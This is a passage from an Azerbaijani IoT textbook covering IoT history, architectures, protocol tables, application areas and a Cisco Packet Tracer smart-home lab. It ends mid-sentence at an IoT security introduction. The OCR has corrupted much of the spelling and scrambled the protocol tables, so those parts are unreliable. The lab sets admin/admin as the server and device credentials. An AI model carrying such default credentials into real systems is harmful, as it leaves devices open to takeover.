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1. IoT nadir ?
1.1. IoT-ya Giris

Osyalarin Interneti (IoT) son illords internet texnologiyasinin ndvbati inqilabi
tokamiilii kimi gabul edilir. Bu texnologiya, fiziki obyektlorin (cihazlar, sensorlar,
naqliyyat vasitolori, geyilon texnologiyalar) bir-biri ilo vo ya insanlarla linsiyyast
quraraq, real diinyada bas veran proseslori izlomok vo idara etmok iicilin istifado
olunan sistemlor yaratmaga imkan verir. [oT tokco bir texnologiya deyil, miixtalif
texnologiyalarin birgs istifadasi ilo yaradilan, forgli sahslorde totbiq olunan vo
insanlarin hoyatin1 asanlagdiran ¢oxsaxali bir konsepsiyadir.

[oT-nin ugurlu moévcudlugu vo siiratli yayilmast internetin gilindalik
hayatimizin bir hissasi kimi gqabul edilmasing, sosial, igtisadi vo sonaye sahalorinda
gostordiyi xidmatlorin shomiyyating osaslanir. loT-nin inkisafi fiziki obyektlorin
(smart cihazlar, sensorlar) bir-biri ilo olaqo quraraq 0z aralarinda molumat
miibadilosi etmasi (M2M — Masindan Magina) vo ya insanlarla iinsiyyat qurmasi
(M2H — Masindan Insan) ilo bas verir. Bu genis interaktiv ekosistem, golocokdo
bazar artiminda vo hoyat keyfiyyotinin yaxsilasdirilmasinda bdyilik imkanlar acir.
Xiisusilo, sohiyyo, kond tosorriifati, agilli sohorlor, ev vo ofis avtomatlasdirilmasi,
sonaye vo enerji idaroetmosi kimi saholordo IoT-nin ohomiyyoti daha da nozoro
carpir.

1.2. IoT-nin Tokamiilii

IoT-nin inkisafi bes osas morhoalodo bas verir (Sokil 1.1):
Morhals 1: Kompiiterdon kompiiters lokal saboka

Bu morholo kompiiterlorin lokal sobokolordo (LAN) bir-biri ilo olago
qurdugu ilk dovri tomsil edir. Magsod mohdud resurslar1 daha effektiv vo
igtisadi sokildo boliisdiirmak idi. Bu, miiasir soboko texnologiyalarinin
tomolini qoymusdur vo galocokds internetin yaranmasina yol agmisdir.

Morhoals 2: internet vo WWW (World Wide Web)

Internetin vo WWW-nin inkisafi kompiiterlori global miqyasda birlosdirdi
vo molumat miibadilosine imkan yaratdi. TCP/IP protokolunun inkisafi bu
morholonin osasini toskil etdi. Bu morhols, miixtalif cografi mokanlardan
milyonlarla cihazin bir-biri ilo slage qurmasini miimkiin edon global bir
sobokonin asasini qoydu.



Morhoslo 3: Mobil internet

Mobil internetin inkisafi ilo smartfonlar vo digor mobil cihazlar interneto
daxil olmaga basladi. Mobil rabits texnologiyalari, masalon, 3G, 4G va
5G, molumatlara hor yerds vo hor zaman ¢ix1s imkani yaratdi. Bu morhalo
[oT-nin yaranmasi ti¢iin asas bir addim 1di, ¢iinki mobil cihazlar vasitasila
molumatlarin toplanmasi vo 6tliriilmasi realliga ¢evrildi.

Moborhalo 4: Sosial sabakalor

Bu morholo internetds insanlarin 6z aralarinda {insiyyat qurmalaria vo
soxsiyyatlorini onlayn ekosistemdo tomsil etmalarine imkan veran sosial
sabokolorin yaranmasini tomsil edir. Sosial sabokalor, fiziki obyektlorin do
bir-biri ilo sosial alagalor qura bilocoyi diisiincasina yol a¢di vo IoT-nin
golocaok potensialint gostordi.

Mborhald 5: 9syalarin interneti (IoT)

Bu giino godorki son morholo fiziki obyektlorin interneto qosulmasini,
molumatlarin toplanmasini, emal edilmasini vo paylasilmasini nazordo
tutur. IoT, ev avtomatlagdirilmasi, agilli sohorlor, kond tosorriifati vo
sonaye proseslori kimi bir ¢ox sahoados istifads olunur. IoT hom do "Sosial
Osyalarin Interneti" (SIoT) va "Sonaye Osyalarinin Interneti" (IIoT) kimi
alt konsepsiyalar1 ohato edir.
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Sakil 1.1. IoT-nin inkisafi



1.3. IoT Arxitekturast vo Komponentlari

IoT-nin tosirli vo funksional olmasini tomin etmok li¢iin onun arxitekturasi
cox gatli bir model tizarinde qurulmusgdur. IoT-nin asas arxitektura modellari iki asas
nove boliiniir: li¢ layl vo bes laylt modellor.

1. Uc layh arxitektura (Sokil 1.2a):

o Qavrama layi: Obyektlordon (sensorlar, aktuatorlar, RFID etiketlori)
molumat toplayir vo emal edir. Bu lay, cihazlarin real diinyadaki
molumatlart gobul etmasi vo onlar1 soboko layina Gtiirmasi tigiin
mosuldur.

o Sobaka layi: Bu lay miixtolif soboko texnologiyalarini (Bluetooth,
WiFi, LTE) va protokollar1 (Zigbee, MQTT, CoAP) istifado edarok
cithazlarin bir-biri ilo alage qurmasini tomin edir. Malumatlar bu lay
vasitasila tohlil vo emal {i¢lin totbiq gatina Otliriiliir.

o Tatbiq layr: Bu, [oT molumatlarinin son istifadagilors toqdim edildiyi
vo miixtalif xidmatlor gostorildiyi qatdir. Agilli soharlor, agilli evler vo
e-sohiyya kimi ¢oxsayli totbiq saholorini ohato edir.

2. Bes layh arxitektura (Sokil 1.2b):

Bu model ii¢ asas laydan olava iki olavo qat - Ara Proqram vo Biznes Layi
ilo tamamlanir:

o Ara proqram layi: Soboko layindan molumatlar1 alir, emal edir vo
xidmotlorin idaro olunmasini tomin edir. Bu gat molumatlarin
saxlanmasi vo hesablama giicii li¢lin bulud texnologiyalarindan istifado
edir.

o Biznes layr: IoT sisteminin iimumi idaroetmosi vo miixtolif tatbiqlorin
iso salinmasmi tomin edir. Bu qat, biznes modellorinin, axin
grafiklorinin vo molumatlarin toqdim edilmasino cavabdehdir.
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Sakil 1.2. IoT arxitekturast

1.4. IoT Standartlasdirma Cahdlori

[oT-nin genismiqyasli totbiqi, forgli cihazlarin vo xidmatlorin birgs islomasini
tomin edocok standartlagdirma vo protokollarin yaradilmasini tolob edir. Son illords
bir ¢ox toskilatlar (IETF, ITU, ETSI, IEEE) bu sahads foaliyyst gostorir:

o Osas protokollar: CoAP (Constrained Application Protocol), MQTT
(Message Queue Telemetry Transport), XMPP (Extensible Messaging and
Presence Protocol) IoT iigilin genis istifado olunan protokollardir. Bu
protokollar molumatlarin toplanmasi vo oOtiirlilmosi ii¢lin xiisusi olaraq
uygunlasdirilmigdir.

o Tohliikasizlik protokollari: [Psec, Datagram Transport Layer Security
(DTLS) vo Host Identity Protocol (HIP) kimi protokollar ioT cihazlarmin
tohliikasizliyini tomin edir. Mohdud resurslara malik olan cihazlarda istifado
ticlin optimallasdirilmis xiisusi tohliikesizlik protokollart IoT sistemlorinin
tohliikasizliyini artirmaq tiglin miihiim rol oynayair.

[oT-nin ugurlu totbiqi iigiin bu standartlarin yaradilmasi, miixtalif cihazlarin
vo sistemlorin birgo islomosini, molumatlarin tohliikasiz vo effektiv Gtiirlilmasini
tomin edir.



Cadval 1.1. IoT iiciin movcud standartlagdirma saylarinin xiilasasi

a) Totbiq tobagasi protokollart (Application Layer Protocols)

Protokol | RESTful | Nogliyyat | Abund Sorgu | Tahliikasizlik | Bashq | Toskilat
olma / / Olciisii
Paylasma | Cavab (Bayt)
COAP | X UDP \ \ DTLS 4 IETF
MQTT |X TCP v X SSL 2 OASIS
MQTT- | X UDP N X SSL 2 OASIS
SN
XMPP | X TCP X \ SSL 8 IETF
AMQP | X TCP v X SSL 8 OASIS
DDS X TCP UDP | V X SSL DTLS - OMG
HTTP X TCP X N SSL - IETF
W3C

b) Saboko vo middleware protokollar: (Network Layer & Middleware Protocols)

Protokol Funksionalliq Xarakteristika Taskilat
mDNS Xidmot Sifir konfiqurasiya. IP multicast UDP paketlorindon | IETF
askarlanmasi istifado edir.
DNS-SD Xidmaot mDNS-don istifado edir. Miistorilor ii¢lin genis saho | IETF
askarlanmasi xidmoti agkarlanmasi.
RPL Y onlondirmo Moasafs vektoru protokolu. DODAG topologiyasi. IETF
6LoWPAN | Enkapsulyasiya IPv6 iclin uygunlasma tobogosi. Header sixilmasi. | IETF
Fragmentasiya.
6TiSCH Enkapsulyasiya IEEE802.15.4¢ lizorindon az giic istehlaki ilo IPv6. | IETF
Sonaye IoT.
c) Fiziki tobago protokollar1 (Physical Layer Protocols)
Protok | Yayimlama | Radio MAC Mbolumat | Miqyassizhq | Toskilat | Aralhq
ol Texnologiya | Zolag: Girisi Siirati
s1 (MHz) (bps)
IEEE DSSS 868/915 | TDMA, | 20/40/250 | 65K nodes IEEE 10 m-100
802.15. /2400 CSMA/ | K m
4 CA
BLE FHSS 2400 TDMA | 1024K 5971 slaves Bluetoot | <50 m
h Group
EPCglo | DS-CDMA | 860-960 Varies: 5- | <50 m EPCglob | <50 m
bal ALOHA | 640K al
LTE-A | Multiple CC | varies OFDMA | 1G ( Up), | <100 km 3GPP <100 km
500M
(Down)
Z-Wave | CSMA/CA 868/908 | CSMA/ | 40K 232 nodes Sigma 30 m
/2400 CA Designs | (Indoor),
100 m




(Outdoor
)
LoRa LoRa (CSS) | 0.125- 0.3K  to | Milyonlarla | LoRa <15km
0.25 ALOHA | 50K qader Alliance
Sigfox | BPSK 0.1 600 Milyonlarla | SNO < 50 km
ALOHA qader (Down),
10 km (
Up)
NB-IoT | QPSK 0.1 FDMA/ | 20K ( Up), | 256 3GPP <35 km
OFDMA | 250K
(Down)
Insteon | QAM 904 TDMA | 38.4K Smartlabs <45m

1.5. IoT Tatbiqlori

[oT inqgilabinin farqli sahalards tatbiglorinin tohlili {igiin diqgatimizi miixtolif
totbiq ssenarilorino yoOnoldok. Sohiyyo (mosolon, pasiyentin monitoringi vo
corrahiyyo omoliyyatlar1), agilli enerji sistemlori, agilli avtomobillor (miistoqil
idaroetmao vasitolori), sonaye avtomatlasdirilmasi kimi saholordo IoT-nin totbiginin
genis potensiali vardir. Sokil 1.3-do IoT-nin bir sira imumi vo potensial totbiq

saholori gostorilmisdir.

[oT totbiglori funksionalligin shato dairasing, qurasdirma {igiin tolob olunan
cihazlarin sayina, etibarliliga vo digor amilloro osason miixtolif yollarla tosnif edilo
bilor. Umumilikdo, IToT totbiglorini dérd osas kateqoriyaya bdlmok olar:
Identifikasiya ilo olagoli xidmatlor, Molumatlarin Toplanmas1 xidmatlori,
Omokdashga Istigamatlonmis Xidmatlor vo Hartarafli xidmatlor.

o Identifikasiya ils alagali xidmoatlar hor bir fiziki obyekti soboko mokaninda

xoritolondirorok {invanlanmasin1i tomin edir vo soboko olagolondirmo
xidmotlorini hoyata kecirir. Bu xidmatlor IoT totbiglorinin demok olar ki,
hamisinda mévcuddur.

Mbolumatlarin toplanmasi xidmotlori miixtolif obyektlordon miixtolif
molumatlar1 toplayaraq onlar1 emal {iclin yonoldon xidmotlordir. Masalon,
agilli evlordo, agilli sohorlordo vo digor saholordo miixtalif molumatlar
toplandiqdan sonra, miivafiq emal proseslorino gondorilir.

omokdashga istigamotlonmis xidmoatlor toplanmis molumatlar osasinda
qorarlar gobul edorok miivafiq cavab vo ya harokotlori koordinasiya edir.
Mosalon, sonaye avtomatlasdirilmasi totbiglorindo sensorlardan golon
molumatlar emal edilorok avtomatik olaraq miivafiq sistemlorin isini
tonzimloyir.

Hortarafli xidmatlar iso soboka daxilindo hor zaman va har yerdo moévcudluq
tomin edon xidmaotlordir. IoT tatbiglori bu soviyyays yiiksaldikdo maksimum



fayda verir, lakin bunun tgiin texnologiyalarin, protokollarin vo standartlarin
samarali sakilds inteqrasiyasi talab olunur.

Massive IoT vo kritik IoT kimi asas iki kateqoriya da movcuddur. Massive
IoT cox sayda az enerji sorf edon vo nisbaton ki¢ik hocmli malumatlar1 yayan
cithazlarin yerlosdirilmasi ilo xarakterizo olunur. Masalon, agilli evlor, agillh kond
tasarriifati, aktivlorin idara olunmasi va agilli saygaclar. Kritik IoT iss daha yiiksok
etibarliliq, movcudluq vo asagi gecikmo tolob edon totbiglordir.
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Sakil 1.3. loT-nin tatbiq sahalori

IoT totbiglorini basqa bir tosnifat yolu iso onlarin istifado sahosino goradir:
infrastruktur saviyyasindo, toskilati soviyyads, fordi saviyyado vo hartarafli
saviyyada. Mosolon, agilli sohor vo agilli enerji infrastruktur soviyyasindo olan
totbiglordir. Toskilati soviyyados olan totbiqlor, adoton, miiossisonin is proseslorinin
avtomatlasdirilmasina yonolir. Fordi soviyyado totbiglore agilli evlar, geyilo bilon
texnologiyalar vo oyunlar daxildir. Sohiyys vo avtomobil kimi bazi totbiqlor iso
biitlin soviyyelori ohato edir.

Asagida asas IoT totbiq novlari otrafli sokildo togdim olunur.
1.5.1. Agilh ev

Agill ev konsepsiyasi yeni deyil vo hotta loT-nin yaranmasindan ¢ox avval
movceud idi. Agilli evin moagsadi evdo olan cihazlar1 vo moisot texnikalarini izlomok,
idaro etmok, uzagdan nozarot etmok vo tamamilo avtomatlasdirmaqdir. IoT



texnologiyas1 agilli ev totbiqini tam olaraq reallasdirmaq tigiin lazzim olan
infrastruktur vo texnologiyani tomin edir (Sakil 1.4).
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Sakil 1.4. Agilli ev miihitinin alaqali taraflori

IoT-ya asaslanan agilh evlor hom lokal (amma mohdud) saxlama vo emal
vahidlorindon (mosalon, gateway vo ya hub), hom do bulud infrastrukturundan
istifado edir. ©lavo olaraq, edge computing texnologiyasi agilli evlordo gecikmo,
yiik balanslagdirmas1 vo resurs istifadosi kimi problemlori hall etmok {i¢ilin istifado
edilir.

Agilli evlordo baslica komponentlor arasinda agilli tohliikosizlik sistemlori,
istilik, havalandirma vo kondisioner (HVAC) sistemlori, istifado¢i profilino
osaslanan miihitin 6z-6ziino tonzimlonmosi, agilli enerji idaroetmasi vo obyektlorin
izlonmosi {igiin GIS (Geoinformasiya Sistemi) var. Bu totbiglor yiiksok soviyyado
moxfilik, tohliikasizlik, etibarliliq vo digor texnoloji toloblor tolob edir. ZigBee,
6LoWPAN, az enerji sorf edon WiFi, RFID vo bulud hesablama bu totbiglords
istifado olunan osas texnologiyalardir.

1.5.2. Agilh sahar

Agilli soharlor artiq bir ¢ox 6lkolords, o climlodon Almaniya, ABS, Cin vo
Hindistanda hoyata kecirilir. Agilli sohor konsepsiyasi, sohor infrastrukturunun,
naqliyyatin, sohiyyanin vo digor xidmatlorin daha agilli vo effektiv idars edilmosino
yonalmisdir (Sokil 1.5).

Agilli gohor totbiglorindo osas mogsad bdyilik miqyasda olago, yiiksok
etibarlilig, tohliikkesizlik vo xidmotlorin daimi mdvcudlugunu tomin etmokdir.
Mosolon, agilli nagliyyat vasitolori sohorin harokotlilik idaroetmo sistemino
inteqrasiya olunur.



Bu ciir tatbiqlorde adaton RFID, ZigBee, Bluetooth vo Wi-Fi texnologiyalari
qisa mosafoli olagalor tcilin istifado olunur. Genis miqyasda IoT cihazlarim
alagalondirmak ii¢iin iss GSM, WCDMA, 4G, 5G kimi uzun masafali texnologiyalar
totbiq olunur.

Tahliikasizlik Porakonda Agilh Xidmatlorin
va Noazarat Ticarat Sahiyys idars Olunmasi
Agill .
OO
Agill Sanaye amiyyat Horakatlilik fatvastriiihin

Sakil 1.5. Agilli soharlarda IoT istifadasi

1.5.3. Agilh enerji

Enerji sektorunda IoT totbiglorinin moqgsadi enerji istehsali, otiiriilmosi,
paylanmasi vo idaroetmo proseslorinin avtomatlagdirilmasidir. Bu totbiglor hom
istehlak¢ilarin enerji istehlakini optimallagdirmaq, hom do enerji tochizatgilarinin
real vaxtda nozarot vo texniki xidmot imkanlarini artirmaq {iclin istifado olunur
(Sakil 1.6).

Agilli enerji totbiglorinin osas komponentlori borpa olunan enerji monbolari,
agill texniki xidmat va agilli enerji saygaclaridir. Bu sahado LoRa, SigFox, Power-
Line Communication (PLC), IEEE 802.15.4 vo Z-Wave kimi texnologiyalar istifado
olunur. Bu totbiglorin 6ziinii dayaniqli, ¢evik vo tohliikosiz olmasi asas mogsoddir.
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Sakil 1.6. Agilli enerji sisteminin tarkib hissalori
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1.5.4. Agilh sahiyyo

Sohiyya sektoru loT-nin an genismiqyash tatbiq sahalarindan biridir ve 2025-
ci ilo gadar bu sektorun on boyiik bazar payina sahib olmasi gozlonilir (Sokil 1.7).
[oT texnologiyalar1 profilaktik, diagnostik, miialico vo reabilitasiya xidmatlori {i¢iin
genis imkanlar yaradir.

Agill saatlar, bantlar, geyilo bilon cihazlar vo digor tibbi avadanliglar
pasiyentin hoyati olamotlorini real vaxt rejiminds izloyorak hokimlors uzaqdan
molumat gondors bilir. Bu ciir totbiglor sohiyyado diagnozlarin erkon qoyulmasi,
mialico proseslorinin optimallasdirilmasi vo xostoxana resurslarinin effektiv idaro
olunmasina kodmok edir. Osas texnologiyalar BLE, WBAN (IEEE 802.15.6), LR-
WPAN (IEEE 802.15.4) vo NB-IoT-dir.
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Sakil 1.7. Agilli sahiyyada IoT-nin rolu
1.5.5. IoT avtomobil

2040-c1 ilo godor avtomobil satislarinin 90%-nin tam vo ya yiiksok soviyyado
avtomatlagdirilmis noqliyyat vasitolori olacagi prognozlasdirilir. Avtomobillordo
[oT texnologiyalarinin totbiqi, miistoqil idaro olunan noqgliyyat vasitolorinin
reallagdirilmasi {i¢iin miihiim rol oynayir. Miiasir avtomobillords toxminan 60-100
sensor var va bu sayin yaxin golocokds 200-0 gatacagi gozlonilir.

[oT-nin avtomobil sonayesina inteqrasiyasi agilli navigasiya, tohliikosizlik sistemlori
vo avtomatik texniki xidmot kimi miixtolif funksiyalarin tomin edilmosi ilo
naticolonir. Bu totbiglords Bluetooth, ZigBee, DSRC, WiFi vo 4G texnologiyalari
istifads olunur.
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1.5.6. Oyunlar, AR v VR

[oT texnologiyasinin digar bir maraqli totbiq sahosi oyunlar, artirilmis realliq
(AR) vo virtual realliq (VR) sahasidir. Bu tatbiqglor istifadoagilors yeni nasil oyun
tacriibalori toqdim edir. Artirilmis realliq va virtual realliq sahalori ham aylance, hom
do tohsil, sohiyys, miithondislik kimi sahalords genis istifads olunur (Sakil 1.8).
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Sakil 1.8. AR va VR texnologiyalarinin istifads sahalori

1.5.7. IoT-nin kond tasarriifati, sonaye va taktiki internet sahalorinda tatbiqi

IoT texnologiyalar1 kond tosorriifati, sonaye vo taktiki internet kimi forqli
saholordo genis totbiq taparaq avtomatlagdirma, doqiqlik vo mohsuldarlhiq
baximindan ohomiyyatli nailiyyatlor aldo etmoyo imkan yaradir. Bu texnologiyalar,
insan omoyinin yiiklondiyi ononovi proseslori optimallasdiraraq hom iqtisadi, hom
do sosial inkisaf {i¢iin yeni perspektivlor agir.

o Kond tasarriifatinda IoT tatbiqi

Kond tosorriifatt insan comiyyatinin osasin1  togkil edon on qodim
foaliyyotlordon biridir vo qida istehsalinin effektivliyinin artirilmasi bu sahado
davamli inkisaf {iclin hoyati ohomiyyat dasiyir. IoT texnologiyalar1 okingilikdo
torpagin monitorinqi, mohsuldarligin artirilmas1 {i¢lin - optimal  giibrolomo
strategiyalar1 vo suvarma proseslorinin doqiq idaro edilmosi kimi bir ¢ox sahado
totbiq olunur. Bu texnologiyalar vasitosilo kond tosorriifatinda real vaxt rejimindo
molumat toplamagq, analiz etmok vo gorar qobul etmok miimkiin olur. Bluetooth,
RFID, ZigBee, GPS, LoRa, SigFox vo NB-IoT kimi rabits texnologiyalar1 tosorriifat
proseslorinin avtomatlasdirilmasinda miihiim rol oynayir. Moasslon, suvarma
sistemlorinds 10T sensorlar1 torpagin nomlik soviyyasini izloyarak yalniz lazim olan
miqdarda suyun istifads edilmosini tomin edir, bununla da su israfi azalir va ekoloji
dayanigliliq artirilir. Heyvandarligda iso IoT cihazlari heyvanlarin saglamliq
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voziyyetini izloyir, yem ehtiyacint miioyyon edir vo xostoliklorin erkon
agkarlanmasina komok edir.

o Sonaye internetinin (IIoT) rolu

Sonaye Interneti (IIoT) istehsalat proseslorinin avtomatlasdirilmasinda va
optimallagdirilmasinda ovozsiz bir vasitodir (Sokil 1.9). IIoT texnologiyalar
vasitosilo sonaye miuassisolori aktivlorini internet vasitosilo tohliikosiz gokilds
olagalondira bilir, bu iso istehsalatin effektivliyini artirir vo amaliyyat xarclorini
ohomiyyotli dorocodo azaldir. IIoT, miossisolorin hom daxili resurslarini idars
etmosing, hom do miistorilorlo olagoni daha somorsli togkil etmosino imkan verir.
Masalan, istehsalat xatlorindoki [oT sensorlari avadanliglarin vaziyyatini real vaxtda
izlayarak potensial nasazliglar1 erkon askar edir vo bu da geyri-mohsuldar dayanma
miiddatlorinin azalmasina sabab olur. Eyni zamanda, IIoT texnologiyalart mohsulun
istehsaldan son istifadaciya qodor izlonmasina sorait yaradaraq tochizat zoncirindo
soffaflig1 artirir vo miistori momnuniyyatini yiiksaldir.

INDUSTRIAL CONSUMER
Internet of Things  ,  Internet of Things

Sokil 1.9. Sanayeda IoT-nin tatbigi
o Taktiki internet vo onun tatbiqi

Taktiki internet IoT-nin daha inkisaf etmis vo spesifik tolobloro cavab veran
bir morhalasidir (Sakil 1.10). Bu texnologiya ultra-etibarli, ultra-cavab veron vo
ultra-tohliikasiz olago tomin etmoklo yanasi, real vaxt rejiminds yiiksok doqiqlikli
omoliyyatlarin hoyata kec¢irilmosino imkan yaradir. Taktiki internetin osas totbiq
saholorindon biri uzaqdan corrahiyyadir. Bu texnologiya hokimlorin uzaq
mosafolordo olan xostolora corrahi miidaxilo etmosino imkan yaradir vo tibb
sahasindo yeni dévriin baglangicin1 qoyur. Eyni zamanda, robototexnika vo avtonom
naqliyyat vasitolori do taktiki internetin miihiim totbiq saholoridir. Masslon, avtonom
avtomobillor real vaxtda toplanmis molumatlara asason qgorar gobul edo bilir vo
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tohliikasiz harokat edir. Taktiki internet hom do harbi sahads genis istifads olunur,
burada horbi texnikanin vo doylis strategiyalarinin idars edilmasi tigiin ytliksok siiratli
va etibarli olago talob olunur.

Mobile Internet of Tactile
Internet Things (loT) Internet

W Agilh telefonlar, dasinan W Milvardlarla IoT cihazim M Ultra-etibarl, ultra-cavab
cihazlar va noutbuklarin qa rg;l[lq[l alagalandirir. veran va ultra-tahlikasiz
qarsiligh alagasini tamin edir. M M2M (Machine-to-Machine) llmgl:um tamin edir.

M Gecilkma (latency) asasan kommunikasiva dastavi tamin| M Insan-masin garsihgh
telefon zanglari va video edir. i : alagasini miimkiin edir.
Gtiriillmasi iiciin M Bsasan asag siiratli va M Real vaxt rejiminda
optimallasdirilmsdr. gecikmaya tolerant tathiglari idaraetma va fiziki

dastallavir. toxunma tacriibalari taklif
edir.

Sakil 1.10. Taktiki internetin inqilabi sicrayisi

1.6. Praktiki Hissa va Tapsiriqlar

1.6.1. IoT Agilh Ev Simulyasiyasi (Cisco Packet Tracer iizorindon)

Qeyd: Bu laboratoriya isi Doviat Gomriik Komitasinin Akademiyasinin bakalavr talabasi Qanbarli
Mirhiiseyn Amil oglu torafindon hazirlanmis va bu kitaba tadris magsadli praktiki tohfa olaraq
taqdim edilmisdir. Mirhiiseyn Qanbarli, Cisco Packet Tracer simulyasiya miihiti tizarinds agilli ev
infrastrukturu quraraq, loT cihazlarinin sabakaya inteqrasiyasi, server vasitasilo idara olunmasi
va sart asaslt avtomatlasdirma mexanizmlarinin tatbigini ahata edan bu laboratoriya ssenarisini
ugurla reallasdirmigdir. Laboratoriya isinin har bir marhalasi miiallifa tagdim edilmis va kitabin
mazmununa dayarli sakilda inteqrasiya olunmugdur.

Moagqsad

Bu praktiki hissonin  moqsaodi  toloboys IoT sistemlorinin  tomal
komponentlorini — soboko infrastrukturunu, cihazlarin sobokoyo qosulmasini vo
morkozlosdirilmis idaroetmo mexanizmini laboratoriya soraitindo gostormokdir.
Cisco Packet Tracer simulyasiya miihiti iizorindon agilli ev infrastrukturu qurularaq
tolobo bu texnologiyalarin neca islodiyini vizual vo funksional olaraq miisahido
edacak.

Talablar:

e Cisco Packet Tracer proqrami (v7.2+)
e Server, Wireless Router, Laptop, vo on az1 6 IoT cihaz (Fan, Light, Motion
Detector, Door, Window, Webcam)
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e Iinternet baglantisi tolob olunmur (lokal simulyasiya asasinda isloyir)
v' Addim 1 — Serverin IP va Sabaks Parametrlori

e Server cithazinin FastEthernet0 interfeysing 192.168.0.2/24
tinvani tayin edilir.

e Default Gateway olaraq 192.168.0. 1 linvan tayin olunur.

e Bu konfiqurasiya sobokonin diizgiin islomasi li¢lin zoruridir.

v Addim 2 — IoT Xidmatinin Aktivlosdirilmosi

e Server cihazinda “IoT Services” bolmaosi aktivlesdirilir.
e Bu, [oT cihazlarinin geydiyyatina va servera qosulmasina imkan verir.

v' Addim 3 — IoT Monitor Paneli vo Istifadaci Yaradilmasi

e Serverds “IoT Monitor” panelina daxil olunur.
e Yeni istifadogi yaradilir: Istifadogi ad1: admin, Sifro: admin.

v" Addim 4 — Wireless Router Konfiqurasiyasi

e Wireless Router-do 2.4GHz tezlikli sobaks yaradilir.
e SSID adi: Cisco-2.4GHz.

v" Addim 5 — Laptopun Sobakays Qosulmasi

e Laptop cihazinda “PC Wireless” bolmosindon Wi-Fi sobokosine (Cisco-
2 .4GHz) qosulma tomin edilir.

e Bu laptop vasitosilo IoT cihazlar idars olunacagq.
v" Addim 6 — IoT Cihazlarimin Sabakays Qosulmasi

e Hor bir [oT cihazina daxil olun (Fan, Light, Motion Detector vs s.).
e Wireless parametrlorindo yaradilmis sobokoyo qosulun.
e “Remote Server” bolmaosi aktiv edilir.

e ServerIP:192.168.0.2

e Istifadoci: admin, Parol: admin

e “Connect” diilymosi ilo qosulma tosdiglonir.

v" Addim 7 — IoT Monitor Panelindon Cihazlara Nazarat

e Laptop tizorindon “IoT Monitor” bélmasina daxil olun.
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e Olavo olunan cihazlarin statusunu yoxlayin.
e C(Cihazlar tok-tok aktiv/passiv rejimdas test edin.

e “Conditions” bolmasi vasitasilo gort asasli avtomatlasdirma totbiq edin
(masolon, Motion Sensor — Fan).

@ CiscoPacketTracer File Edit Options View Tools Extensions Window Help @ O @ A ©® my @ Q | © FilBApr 1655

EER®mOr-i 2A¢7 QAaeanBE B=E
Zo@ Bl o rme d M

:’;'.Logiul'l[: Pnyswcal__\ x: 1432, . 204 Root (¥ \é\ 43» |;“:®=17f

Physical Conlig _Deskiop _ Programming  Aurbutes

IoT Server - Home | Conditions | Editor | Log Out
Devices

» @ 1oT1 (PTTOB1OWTHW-) Light
L . 1oT3 (PTTO8108ABF-) Ceiling Fan
» . 1oT2 (PTT08102G14-) Motion Detector
» @ 10T4 (PTT081047T5-) Door
» @ (oT5 (PTT08106576-) Window
» . 10T6 (PTTO810AGAU-) Webcam

od I-TEJ

BISHGW. ede PT Activity: 00:18:31

Sakil 1.11. Cisco Packet Tracer-da qurulmus Agilli ev simulyasiyasi

v’ Notico

Bu laboratoriya toloboyo IoT sistemlorinin neco quruldugunu oyani sokildo
oyradir. Tolobo soboka infrastrukturu (router, IP konfiqurasiyasi), cihazlarin morkozi
servera tanidilmasi, loT Monitor paneli {izorindon real vaxt nozarot vo sort asasl
cavab mexanizmlorini praktiki olaraq hoyata kegirir. Bu tocriibo, IoT
texnologiyalarina dair hom konseptual, hom do totbiqi biliklorin formalagmasina
ciddi tohfs verir.

Laboratoriya Faylinin Yiiklonmasi:

Bu laboratoriya isino aid simulyasiya faylimi (Cisco Packet Tracer .pka
formatinda) asagidaki kec¢iddon yiikloyo bilarsiniz:

Link:
[ https://www.icloud.com/iclouddrive/048DABEEY FSmWJpu5pAiCd8dg#iot sec labs |
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v' Tapsiriqlar

e Cisco Packet Tracer-do yeni simulyasiya yaradaraq 6 forqli [oT cihazi sobokoyo olavo
edin.

e Cihazlarmn hor biri ii¢iin ayr1 metadata toyin edin (mosalon, temp livingroom,
window kitchen).

e Motion sensor aktiv oldugda Ceiling Fan cihazinin avtomatik iso diismasi {i¢iin sort
toyin edin.

e Bir cihaz1 sobokodon ¢ixarin vo yenidon alave edin — sistem onu diizgiin tantyirmi?

e Servers qosulma ugursuz olduqda sistemin cavabini miisahido edin vo saboblori izah
edin.

e Laptopdan biitiin IoT cihazlarin statusunu vizual olaraq tohlil edon qrafik codval
hazirlaymn.

e Bir cihazi simulyativ overload edin vo onun status doyisikliklorini geyd edin.

e JoT Monitor panelinds cihazlarin loglarini analiz edin vo cavab miiddatlori iizro
miiqayisa aparin.

e Sistemi lokal MQTT brokerls slagalondirin vo forqi izah edin.

e FEyni senarini Node-RED ilo qurmaga calisin vo Packet Tracer simulyasiyasi ilo
miiqayisa edin.
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2. IoT tohlukasizliyind giris

2.1. Giris

Osyalarin Interneti (IoT) texnologiyasinin siiratlo inkisaf etmosi onu miixtolif
totbiqg saholorindo genis yayilmasina gotirib ¢ixarir. Binalarim vo evlorin
avtomatlagdirilmasi, agilli nagliyyat sistemlori, sohiyya iiclin geyils bilon cihazlar,
sonaye proseslorinin idars edilmasi vo infrastrukturun monitoringi kimi sahalords
[oT cihazlarinin istifadasi fiziki diinyanin idare olunma vo gavranilma formasini
kokiindon dayisir. Prognozlara asason, 2020-ci ilo godor diinyada toxminon 30
milyard [oT cihazinin foaliyyot gostoracoyi gozlonilirdi. Bu cihazlarin oksoriyyati
asagl giymoto malik, simsiz rabito texnologiyasina osaslanan vo hesablama vo
yaddas imkanlart mohdud olan sistemlardon ibarat olacaqdir.

Lakin, IoT sistemlorinin miirokkob ekosistemlordo genis miqyasda istifado
olunmasi, bu cihazlar arasinda moalumat otiiriilmoasi vo emal1 zamani tohliikosizlik vo
etibarliliq problemlori yaradir. Cihazlardan gondorilon vo alinan molumatlarin
gorunmasi masolasi getdikco daha boyiik narahatliq dogurur. Arasdirmalar gostorir
ki, ToT sobokolori avtorizasiya, autentifikasiya, molumat sizmasi, moxfiliyin
gorunmasi, manipulyasiya, dinlomo, hiicumlara garsi dayaniqliliq kimi bir ¢ox
tohliikasizlik problemlori ilo iizlosir. IoT-nin asas xiisusiyyatlorindon biri iso forqli
rabito protokollar1 vo standartlar vasitosilo miixtolif cihazlarin qarsiligli alagodo
olmasidir ki, bu da sistemlorin tohliikasizlik risklorini daha da artirir.

Masalon, 2016-c1 i1ldo Mirai zararli proqrami vasitasilo [oT cihazlarinin DDoS
(Distributed Denial of Service) hiicumlarinda istifado edilmosi bu sahadoki kritik
